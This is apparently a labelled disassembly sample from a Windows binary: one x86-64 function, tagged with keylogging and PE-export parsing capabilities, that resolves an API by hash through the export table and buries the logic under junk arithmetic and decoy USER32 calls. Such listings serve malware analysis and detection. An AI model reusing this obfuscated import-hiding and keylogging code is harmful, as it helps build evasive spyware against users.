Function at 0x2f8aaa986
Capabilities:
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov eax, dword [0x2f8aaf0a4]
add eax, 0x57956f80
mov dword [0x2f8aaf0ac], eax
movzx eax, word [0x2f8aaf0b4]
movzx eax, ax
xor eax, 0x71915324
mov dword [0x2f8aaf0a4], eax
movzx eax, word [0x2f8aaf0b0]
or ax, 0x6273
mov word [0x2f8aaf0b4], ax
mov dword [rbp - 4], 0x8772
movzx eax, word [0x2f8aaf0a8]
movzx eax, ax
or eax, 0x8ec77ca4
mov dword [0x2f8aaf0a4], eax
movzx eax, word [0x2f8aaf0b2]
or ax, 0x1bdf
mov word [0x2f8aaf0b2], ax
movzx eax, word [0x2f8aaf0b2]
add ax, 0x5028
mov word [0x2f8aaf0aa], ax
cmp qword [rbp + 0x10], 0
je 0x2f8aaaa1a
cmp dword [rbp + 0x18], 0
jne 0x2f8aaaa95
movzx eax, word [0x2f8aaf0b6]
add ax, 0x3a43
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0b4]
sub ax, 0x1ac3
mov word [0x2f8aaf0a8], ax
movzx eax, word [0x2f8aaf0b2]
imul ax, ax, 0x112f
mov word [0x2f8aaf0b0], ax
movzx eax, word [0x2f8aaf0b4]
and ax, 0xfb0c
mov word [0x2f8aaf0aa], ax
movzx eax, word [0x2f8aaf0b4]
movzx eax, ax
imul eax, eax, 0x1103f53b
mov dword [0x2f8aaf0a4], eax
movzx eax, word [0x2f8aaf0b4]
xor ax, 0xe948
mov word [0x2f8aaf0a8], ax
mov eax, 0
jmp 0x2f8aab8eb
movzx eax, word [0x2f8aaf0b2]
and ax, 0x6492
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0a8]
sub ax, 0x7a1e
mov word [0x2f8aaf0a8], ax
mov eax, dword [0x2f8aaf0ac]
imul ax, ax, 0xb5e5
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0b2]
movzx eax, ax
or eax, 0x43b870a1
mov dword [0x2f8aaf0a4], eax
mov eax, dword [0x2f8aaf0a4]
sub ax, 0x464
mov word [0x2f8aaf0b6], ax
mov eax, dword [0x2f8aaf0a4]
xor eax, 0x89479f2
mov dword [0x2f8aaf0a4], eax
movzx eax, word [0x2f8aaf0b6]
sub ax, 0x563d
mov word [0x2f8aaf0aa], ax
movzx eax, word [0x2f8aaf0b6]
xor ax, 0xd81e
mov word [0x2f8aaf0b6], ax
mov qword [rbp - 0x30], 0
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
mov eax, dword [0x2f8aaf0ac]
or ax, 0xfb16
mov word [0x2f8aaf0b4], ax
mov edx, 0
mov ecx, 9
mov rax, qword [sym.imp.USER32.dll_ReleaseDC]
call rax
add dword [rbp - 4], 1
mov eax, dword [0x2f8aaf0a4]
and eax, 0xfac3e126
mov dword [0x2f8aaf0a4], eax
movzx eax, word [0x2f8aaf0b0]
movzx eax, ax
sub eax, 0x1924704f
mov dword [0x2f8aaf0ac], eax
mov eax, dword [0x2f8aaf0a4]
imul ax, ax, 0x36d1
mov word [0x2f8aaf0b6], ax
mov eax, dword [0x2f8aaf0ac]
xor eax, 0x17894c42
mov dword [0x2f8aaf0ac], eax
movzx eax, word [0x2f8aaf0aa]
xor ax, 0x8517
mov word [0x2f8aaf0b6], ax
movzx eax, word [0x2f8aaf0b6]
or ax, 0xed7
mov word [0x2f8aaf0b2], ax
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x38], rax
movzx eax, word [0x2f8aaf0a8]
or ax, 0x4339
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0a8]
xor ax, 0xfd41
mov word [0x2f8aaf0a8], ax
movzx eax, word [0x2f8aaf0b2]
xor ax, 0xe949
mov word [0x2f8aaf0a8], ax
movzx eax, word [0x2f8aaf0b2]
and ax, 0x6c7b
mov word [0x2f8aaf0b2], ax
mov eax, dword [0x2f8aaf0ac]
add ax, 0x189e
mov word [0x2f8aaf0b0], ax
mov ecx, 0xbd
mov rax, qword [sym.imp.USER32.dll_IsWindow]
call rax
movzx eax, word [0x2f8aaf0b2]
or ax, 0x9e76
mov word [0x2f8aaf0a8], ax
mov edx, 0
mov ecx, 4
mov rax, qword [sym.imp.USER32.dll_ReleaseDC]
call rax
add dword [rbp - 4], 1
movzx eax, word [0x2f8aaf0aa]
or ax, 0x5fc3
mov word [0x2f8aaf0b2], ax
movzx eax, word [0x2f8aaf0b0]
or ax, 0xf4e5
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0b2]
add ax, 0x5fd5
mov word [0x2f8aaf0b0], ax
movzx eax, word [0x2f8aaf0a8]
imul ax, ax, 0x253a
mov word [0x2f8aaf0b6], ax
movzx eax, word [0x2f8aaf0b0]
or ax, 0x1a21
mov word [0x2f8aaf0b6], ax
movzx eax, word [0x2f8aaf0b2]
imul ax, ax, 0x80e4
mov word [0x2f8aaf0a8], ax
mov edx, 0
mov ecx, 0x89
mov rax, qword [sym.imp.USER32.dll_GetSystemMenu]
call rax
mov rax, qword [rbp - 0x38]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 0x38]
add rax, rdx
mov qword [rbp - 0x40], rax
mov eax, dword [0x2f8aaf0ac]
xor eax, 0xca716acf
mov dword [0x2f8aaf0a4], eax
movzx eax, word [0x2f8aaf0b4]
and ax, 0x2f99
mov word [0x2f8aaf0aa], ax
mov eax, dword [0x2f8aaf0a4]
sub eax, 0x3662e00
mov dword [0x2f8aaf0ac], eax
movzx eax, word [0x2f8aaf0aa]
movzx eax, ax
sub eax, 0x6d479459
mov dword [0x2f8aaf0ac], eax
add dword [rbp - 4], 1
mov eax, dword [0x2f8aaf0ac]
xor eax, 0x30b5b115
mov dword [0x2f8aaf0a4], eax
movzx eax, word [0x2f8aaf0b0]
sub ax, 0x4e87
mov word [0x2f8aaf0b6], ax
movzx eax, word [0x2f8aaf0b0]
sub ax, 0x25d5
mov word [0x2f8aaf0aa], ax
movzx eax, word [0x2f8aaf0b4]
imul ax, ax, 0xa0c1
mov word [0x2f8aaf0b4], ax
mov rax, qword [rbp - 0x40]
add rax, 0x88
mov qword [rbp - 0x48], rax
movzx eax, word [0x2f8aaf0b0]
or eax, 0xffffff93
mov word [0x2f8aaf0b0], ax
movzx eax, word [0x2f8aaf0a8]
imul ax, ax, 0x2316
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0b6]
movzx eax, ax
imul eax, eax, 0xa6872c37
mov dword [0x2f8aaf0ac], eax
movzx eax, word [0x2f8aaf0b6]
and ax, 0xc6c7
mov word [0x2f8aaf0aa], ax
movzx eax, word [0x2f8aaf0aa]
movzx eax, ax
add eax, 0x5433a308
mov dword [0x2f8aaf0ac], eax
add dword [rbp - 4], 1
movzx eax, word [0x2f8aaf0a8]
or ax, 0x94cf
mov word [0x2f8aaf0b4], ax
mov eax, dword [0x2f8aaf0a4]
sub ax, 0x28c
mov word [0x2f8aaf0b4], ax
mov eax, dword [0x2f8aaf0a4]
and ax, 0x7bf5
mov word [0x2f8aaf0a8], ax
movzx eax, word [0x2f8aaf0aa]
sub ax, 0x1046
mov word [0x2f8aaf0a8], ax
movzx eax, word [0x2f8aaf0b2]
xor ax, 0x3d1f
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0b6]
sub ax, 0x53b7
mov word [0x2f8aaf0b2], ax
mov rax, qword [rbp - 0x48]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 0x38]
add rax, rdx
mov qword [rbp - 0x50], rax
movzx eax, word [0x2f8aaf0a8]
imul ax, ax, 0xa2c
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0b2]
and ax, 0x3fd8
mov word [0x2f8aaf0b2], ax
movzx eax, word [0x2f8aaf0b4]
imul ax, ax, 0xdbf6
mov word [0x2f8aaf0a8], ax
movzx eax, word [0x2f8aaf0b2]
sub ax, 0x5660
mov word [0x2f8aaf0b6], ax
movzx eax, word [0x2f8aaf0aa]
movzx eax, ax
imul eax, eax, 0x2aa4c327
mov dword [0x2f8aaf0a4], eax
movzx eax, word [0x2f8aaf0b2]
imul ax, ax, 0xe804
mov word [0x2f8aaf0a8], ax
movzx eax, word [0x2f8aaf0b6]
or ax, 0xe038
mov word [0x2f8aaf0a8], ax
movzx eax, word [0x2f8aaf0b4]
movzx eax, ax
add eax, 0x55a58b13
mov dword [0x2f8aaf0a4], eax
add dword [rbp - 4], 1
movzx eax, word [0x2f8aaf0b0]
or ax, 0xa8bd
mov word [0x2f8aaf0aa], ax
movzx eax, word [0x2f8aaf0aa]
movzx eax, ax
sub eax, 0x36626fb7
mov dword [0x2f8aaf0a4], eax
movzx eax, word [0x2f8aaf0b6]
imul ax, ax, 0x93e7
mov word [0x2f8aaf0b4], ax
mov eax, dword [0x2f8aaf0a4]
xor ax, 0xcedb
mov word [0x2f8aaf0b6], ax
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 0x20]
mov edx, eax
mov rax, qword [rbp - 0x38]
add rax, rdx
mov qword [rbp - 0x10], rax
movzx eax, word [0x2f8aaf0b6]
imul ax, ax, 0x9dd9
mov word [0x2f8aaf0b0], ax
movzx eax, word [0x2f8aaf0b2]
xor ax, 0xc023
mov word [0x2f8aaf0b2], ax
movzx eax, word [0x2f8aaf0b6]
movzx eax, ax
or eax, 0x78ed3152
mov dword [0x2f8aaf0a4], eax
movzx eax, word [0x2f8aaf0b0]
movzx eax, ax
xor eax, 0x8ba2c160
mov dword [0x2f8aaf0ac], eax
movzx eax, word [0x2f8aaf0b2]
imul ax, ax, 0xacf
mov word [0x2f8aaf0b6], ax
movzx eax, word [0x2f8aaf0b0]
add ax, 0x5ef0
mov word [0x2f8aaf0b4], ax
add dword [rbp - 4], 1
mov eax, dword [0x2f8aaf0a4]
and eax, 0xa456e838
mov dword [0x2f8aaf0a4], eax
movzx eax, word [0x2f8aaf0a8]
and ax, 0x687c
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0b0]
imul ax, ax, 0x46e
mov word [0x2f8aaf0b0], ax
movzx eax, word [0x2f8aaf0b6]
and ax, 0x3806
mov word [0x2f8aaf0b0], ax
movzx eax, word [0x2f8aaf0aa]
movzx eax, ax
or eax, 0x28d89fa3
mov dword [0x2f8aaf0a4], eax
movzx eax, word [0x2f8aaf0aa]
movzx eax, ax
and eax, 0x3fda9135
mov dword [0x2f8aaf0ac], eax
movzx eax, word [0x2f8aaf0a8]
movzx eax, ax
add eax, 0x1ba1e303
mov dword [0x2f8aaf0a4], eax
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 0x1c]
mov edx, eax
mov rax, qword [rbp - 0x38]
add rax, rdx
mov qword [rbp - 0x58], rax
movzx eax, word [0x2f8aaf0b4]
xor ax, 0xe7c6
mov word [0x2f8aaf0b2], ax
mov eax, dword [0x2f8aaf0a4]
sub ax, 0x2106
mov word [0x2f8aaf0b6], ax
movzx eax, word [0x2f8aaf0b2]
add ax, 0x2204
mov word [0x2f8aaf0aa], ax
mov eax, dword [0x2f8aaf0a4]
and ax, 0x5e9d
mov word [0x2f8aaf0b0], ax
movzx eax, word [0x2f8aaf0b2]
imul ax, ax, 0x88cc
mov word [0x2f8aaf0b6], ax
movzx eax, word [0x2f8aaf0a8]
and ax, 0x44e1
mov word [0x2f8aaf0b0], ax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
movzx eax, word [0x2f8aaf0a8]
xor ax, 0xf5c1
mov word [0x2f8aaf0aa], ax
add dword [rbp - 4], 1
movzx eax, word [0x2f8aaf0aa]
add ax, 0x73ff
mov word [0x2f8aaf0b0], ax
mov eax, dword [0x2f8aaf0a4]
or ax, 0xd7ac
mov word [0x2f8aaf0aa], ax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0x87
mov rax, qword [sym.imp.USER32.dll_RedrawWindow]
call rax
movzx eax, word [0x2f8aaf0b0]
sub ax, 0x71f3
mov word [0x2f8aaf0b2], ax
movzx eax, word [0x2f8aaf0b4]
or ax, 0x25dd
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0aa]
add ax, 0x5853
mov word [0x2f8aaf0aa], ax
mov eax, dword [0x2f8aaf0a4]
or ax, 0x91da
mov word [0x2f8aaf0b2], ax
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 0x24]
mov edx, eax
mov rax, qword [rbp - 0x38]
add rax, rdx
mov qword [rbp - 0x18], rax
movzx eax, word [0x2f8aaf0b4]
imul ax, ax, 0x9ba6
mov word [0x2f8aaf0b0], ax
movzx eax, word [0x2f8aaf0b6]
xor ax, 0xf7dd
mov word [0x2f8aaf0b2], ax
movzx eax, word [0x2f8aaf0b6]
imul ax, ax, 0x533c
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0b0]
and ax, 0x35a4
mov word [0x2f8aaf0aa], ax
movzx eax, word [0x2f8aaf0b2]
sub ax, 0x1a69
mov word [0x2f8aaf0aa], ax
movzx eax, word [0x2f8aaf0b2]
or ax, 0x7af
mov word [0x2f8aaf0aa], ax
movzx eax, word [0x2f8aaf0b4]
add ax, 0x75f7
mov word [0x2f8aaf0b0], ax
add dword [rbp - 4], 1
movzx eax, word [0x2f8aaf0b6]
imul ax, ax, 0x47fb
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0b2]
sub ax, 0x1bdc
mov word [0x2f8aaf0a8], ax
movzx eax, word [0x2f8aaf0aa]
or ax, 0x2c97
mov word [0x2f8aaf0aa], ax
mov qword [rbp - 0x20], 0
movzx eax, word [0x2f8aaf0aa]
movzx eax, ax
or eax, 0xb4c8b375
mov dword [0x2f8aaf0ac], eax
movzx eax, word [0x2f8aaf0aa]
or ax, 0xced3
mov word [0x2f8aaf0aa], ax
movzx eax, word [0x2f8aaf0b0]
movzx eax, ax
add eax, 0x4ade958c
mov dword [0x2f8aaf0ac], eax
add dword [rbp - 4], 1
movzx eax, word [0x2f8aaf0b4]
and ax, 0x7d92
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0b4]
or ax, 0x54f9
mov word [0x2f8aaf0a8], ax
mov eax, dword [0x2f8aaf0ac]
sub eax, 0x7739edb9
mov dword [0x2f8aaf0ac], eax
movzx eax, word [0x2f8aaf0aa]
movzx eax, ax
xor eax, 0x76093c27
mov dword [0x2f8aaf0a4], eax
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 0x18]
mov dword [rbp - 0x24], eax
mov eax, dword [0x2f8aaf0ac]
xor ax, 0xc736
mov word [0x2f8aaf0a8], ax
mov eax, dword [0x2f8aaf0a4]
and ax, 0x3b5b
mov word [0x2f8aaf0b6], ax
mov eax, dword [0x2f8aaf0ac]
or ax, 0xf9d6
mov word [0x2f8aaf0b4], ax
mov eax, dword [0x2f8aaf0a4]
xor ax, 0x7474
mov word [0x2f8aaf0aa], ax
mov eax, dword [0x2f8aaf0ac]
or ax, 0x2a9a
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0a8]
movzx eax, ax
and eax, 0xfe955655
mov dword [0x2f8aaf0a4], eax
movzx eax, word [0x2f8aaf0aa]
imul ax, ax, 0xf870
mov word [0x2f8aaf0b4], ax
mov ecx, 0xa3
mov rax, qword [sym.imp.USER32.dll_GetDC]
call rax
add dword [rbp - 4], 1
movzx eax, word [0x2f8aaf0b4]
and ax, 0xc8ec
mov word [0x2f8aaf0b2], ax
movzx eax, word [0x2f8aaf0aa]
and ax, 0xf9d2
mov word [0x2f8aaf0aa], ax
mov edx, 0
mov ecx, 0xeb
mov rax, qword [sym.imp.USER32.dll_GetSystemMenu]
call rax
movzx eax, word [0x2f8aaf0b4]
xor ax, 0xf9a8
mov word [0x2f8aaf0b4], ax
mov ecx, 0xeb
mov rax, qword [sym.imp.USER32.dll_IsWindow]
call rax
mov eax, dword [0x2f8aaf0ac]
add ax, 0x1bd6
mov word [0x2f8aaf0b0], ax
mov eax, dword [0x2f8aaf0ac]
imul ax, ax, 0x23d3
mov word [0x2f8aaf0b2], ax
jmp 0x2f8aab872
movzx eax, word [0x2f8aaf0b0]
movzx eax, ax
or eax, 0xf8d7d57f
mov dword [0x2f8aaf0a4], eax
mov edx, 0
mov ecx, 0x69
mov rax, qword [sym.imp.USER32.dll_GetSystemMenu]
call rax
movzx eax, word [0x2f8aaf0b6]
imul ax, ax, 0xf229
mov word [0x2f8aaf0a8], ax
movzx eax, word [0x2f8aaf0aa]
movzx eax, ax
add eax, 0x15ba083b
mov dword [0x2f8aaf0ac], eax
movzx eax, word [0x2f8aaf0b4]
movzx eax, ax
imul eax, eax, 0x6b1ae9f0
mov dword [0x2f8aaf0ac], eax
movzx eax, word [0x2f8aaf0b2]
xor ax, 0xfd48
mov word [0x2f8aaf0b6], ax
movzx eax, word [0x2f8aaf0a8]
or ax, 0xa185
mov word [0x2f8aaf0b2], ax
movzx eax, word [0x2f8aaf0aa]
or ax, 0x7a54
mov word [0x2f8aaf0aa], ax
movzx eax, word [0x2f8aaf0aa]
xor ax, 0x93a5
mov word [0x2f8aaf0b4], ax
add dword [rbp - 4], 1
movzx eax, word [0x2f8aaf0b0]
and ax, 0x70a9
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0b0]
or ax, 0xf82d
mov word [0x2f8aaf0b2], ax
movzx eax, word [0x2f8aaf0b0]
movzx eax, ax
xor eax, 0x8e4c30dd
mov dword [0x2f8aaf0a4], eax
mov eax, dword [0x2f8aaf0ac]
add ax, 0x13f4
mov word [0x2f8aaf0b6], ax
mov eax, dword [0x2f8aaf0ac]
xor eax, 0x9805e3ff
mov dword [0x2f8aaf0ac], eax
movzx eax, word [0x2f8aaf0aa]
or ax, 0x5336
mov word [0x2f8aaf0aa], ax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 0x38]
add rax, rdx
mov qword [rbp - 0x60], rax
mov eax, dword [0x2f8aaf0ac]
imul ax, ax, 0xb462
mov word [0x2f8aaf0b2], ax
mov eax, dword [0x2f8aaf0ac]
xor ax, 0x86cc
mov word [0x2f8aaf0aa], ax
movzx eax, word [0x2f8aaf0b4]
movzx eax, ax
add eax, 0x7310c267
mov dword [0x2f8aaf0ac], eax
mov rax, qword [rbp - 0x60]
mov rcx, rax
call fcn.2f8aa8cb5
cmp dword [rbp + 0x18], eax
sete al
test al, al
je 0x2f8aab6e9
movzx eax, word [0x2f8aaf0b0]
and ax, 0x954c
mov word [0x2f8aaf0b2], ax
mov eax, dword [0x2f8aaf0a4]
or ax, 0x32e4
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0aa]
movzx eax, ax
sub eax, 0xd06e987
mov dword [0x2f8aaf0a4], eax
mov eax, dword [0x2f8aaf0a4]
and ax, 0xd44c
mov word [0x2f8aaf0a8], ax
movzx eax, word [0x2f8aaf0aa]
add ax, 0xff
mov word [0x2f8aaf0b4], ax
mov eax, dword [0x2f8aaf0ac]
imul eax, eax, 0xdce19df0
mov dword [0x2f8aaf0a4], eax
mov edx, 0
mov ecx, 0xf7
mov rax, qword [sym.imp.USER32.dll_GetSystemMenu]
call rax
movzx eax, word [0x2f8aaf0b2]
xor ax, 0x7c4c
mov word [0x2f8aaf0b6], ax
movzx eax, word [0x2f8aaf0b4]
movzx eax, ax
or eax, 0xf4f3b5bd
mov dword [0x2f8aaf0ac], eax
add dword [rbp - 4], 1
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
shl rax, 2
add qword [rbp - 0x58], rax
movzx eax, word [0x2f8aaf0aa]
xor ax, 0x1956
mov word [0x2f8aaf0aa], ax
mov eax, dword [0x2f8aaf0ac]
add ax, 0x4ba1
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0b6]
or ax, 0x2b8d
mov word [0x2f8aaf0b2], ax
movzx eax, word [0x2f8aaf0b2]
or ax, 0x8366
mov word [0x2f8aaf0b2], ax
movzx eax, word [0x2f8aaf0b6]
add ax, 0x4aa0
mov word [0x2f8aaf0b6], ax
add dword [rbp - 4], 1
mov rax, qword [rbp - 0x58]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 0x38]
add rax, rdx
mov qword [rbp - 0x20], rax
jmp 0x2f8aab888
movzx eax, word [0x2f8aaf0b6]
xor ax, 0xbf79
mov word [0x2f8aaf0b0], ax
mov eax, dword [0x2f8aaf0ac]
imul ax, ax, 0xde45
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0aa]
and ax, 0x3051
mov word [0x2f8aaf0b4], ax
mov eax, dword [0x2f8aaf0a4]
and ax, 0xbc9b
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0b2]
xor ax, 0xf46b
mov word [0x2f8aaf0b2], ax
add dword [rbp - 4], 1
add qword [rbp - 0x10], 4
movzx eax, word [0x2f8aaf0b6]
or ax, 0x1597
mov word [0x2f8aaf0b6], ax
movzx eax, word [0x2f8aaf0b4]
or ax, 0x5d29
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0b0]
add ax, 0x501a
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0b2]
movzx eax, ax
imul eax, eax, 0x182e54b6
mov dword [0x2f8aaf0a4], eax
movzx eax, word [0x2f8aaf0b0]
imul ax, ax, 0x902c
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0b6]
imul ax, ax, 0xe42f
mov word [0x2f8aaf0aa], ax
movzx eax, word [0x2f8aaf0b6]
movzx eax, ax
xor eax, 0xdfc5a455
mov dword [0x2f8aaf0ac], eax
movzx eax, word [0x2f8aaf0aa]
xor ax, 0xfc6d
mov word [0x2f8aaf0aa], ax
add dword [rbp - 4], 1
add qword [rbp - 0x18], 2
movzx eax, word [0x2f8aaf0aa]
sub ax, 0x1f5
mov word [0x2f8aaf0b4], ax
movzx eax, word [0x2f8aaf0b4]
xor ax, 0xc44e
mov word [0x2f8aaf0b6], ax
movzx eax, word [0x2f8aaf0b2]
imul ax, ax, 0x382f
mov word [0x2f8aaf0aa], ax
movzx eax, word [0x2f8aaf0b0]
add ax, 0x6c95
mov word [0x2f8aaf0b2], ax
movzx eax, word [0x2f8aaf0aa]
movzx eax, ax
xor eax, 0xe2aabbea
mov dword [0x2f8aaf0a4], eax
mov eax, dword [0x2f8aaf0a4]
sub eax, 0x3ce08ab0
mov dword [0x2f8aaf0ac], eax
movzx eax, word [0x2f8aaf0aa]
sub ax, 0x1374
mov word [0x2f8aaf0aa], ax
add dword [rbp - 4], 1
mov eax, dword [rbp - 0x24]
lea edx, [rax - 1]
mov dword [rbp - 0x24], edx
test eax, eax
setne al
test al, al
jne 0x2f8aab433
movzx eax, word [0x2f8aaf0aa]
and ax, 0xba75
mov word [0x2f8aaf0a8], ax
movzx eax, word [0x2f8aaf0b0]
sub ax, 0x21e2
mov word [0x2f8aaf0b0], ax
movzx eax, word [0x2f8aaf0b2]
movzx eax, ax
add eax, 0x32cb86cd
mov dword [0x2f8aaf0a4], eax
mov eax, dword [0x2f8aaf0a4]
and eax, 0x34f380a1
mov dword [0x2f8aaf0a4], eax
mov eax, dword [0x2f8aaf0ac]
xor ax, 0x371
mov word [0x2f8aaf0b4], ax
add dword [rbp - 4], 1
mov rax, qword [rbp - 0x20]
sub rsp, 0xffffffffffffff80
pop rbp
ret